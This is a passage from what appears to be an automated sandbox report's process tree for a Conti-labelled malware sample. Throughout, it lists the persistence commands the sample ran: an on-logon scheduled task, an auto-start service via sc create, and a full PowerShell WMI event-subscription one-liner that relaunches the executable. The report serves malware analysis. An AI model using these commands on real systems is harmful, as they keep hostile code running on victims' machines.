    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:16080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14580
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:18868
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:19028
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:19308
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:9416
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6276
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:9956
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:9560
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:10260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11328
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:4772
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6236
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11692
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:1448
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:12968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:11352
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3804
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12660
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11372
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14244
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7104
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:15468
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:14748
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12304
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:10160
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:16580
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:17592
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:17804
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:9808
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    - Drops startup file
    - Adds Run key to start application
    PID:5004
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:4676
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4756
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4132
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:3672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:4920
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2944
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6340
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6400
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6800
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:6968
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:6496
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:1500
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6880
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:17780
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:18068
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:19840
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6736
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4196
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8836
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:8908
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:9608
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:9296
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:4268
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:10024
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6068
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:10396
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:9180
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:5456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:6468
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11680
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11760
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11856
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:12624
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:13056
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:14124
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:9040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:16600
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:1596
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:13692
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14480
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:20084
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15744
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:16048
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13032
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:7596
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11452
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:3392
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:2060
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6104
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:5184
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:5136
  - - C:\Windows\system32\cmd.exe
